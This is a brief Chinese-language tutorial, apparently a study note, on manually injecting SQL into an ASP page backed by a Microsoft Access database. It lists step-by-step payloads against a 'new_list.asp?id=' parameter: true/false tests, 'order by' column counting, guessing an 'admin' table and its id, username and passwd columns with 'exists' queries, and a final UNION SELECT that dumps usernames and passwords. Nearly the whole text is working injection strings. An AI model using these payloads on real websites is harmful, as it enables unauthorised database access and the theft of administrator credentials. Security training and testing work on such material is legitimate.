Access数据库的SQL手工注入,用联合语句显示可显字段时,必须要“from 表名”。
1、判断注入点。
/new_list.asp?id=1 and 1=1访问成功;/new_list.asp?id=2 and 1=2访问失败。
2、判断列的情况。
order by x,x=1、2、3、4时成功,5、6时失败。
/new_list.asp?id=2 order by 4;
3、测试关键表名,因为Access用联合语句显示可显字段时,必须要“from 表名”,所以需要先猜表名。通常access数据库都有admin表;
and exists(select count(*) from admin),页面返回正常,说明存在admin表。
4、 查找回显字段。
5、枚举字段:正常则页面不报错;通常access表会存在以下三个字段;
id,username,passwd或者password
id=1 and exists(select id from admin) //页面返回正常,说明存在id列 id=1 and exists(select username from admin) //页面返回正常,说明存在username列 id=1 and exists(select passwd from admin) //页面返回正常,说明存在passwd列
6、查询用户和密码。
/new_list.asp?id= 1%20 union select 1,username,passwd,4 from admin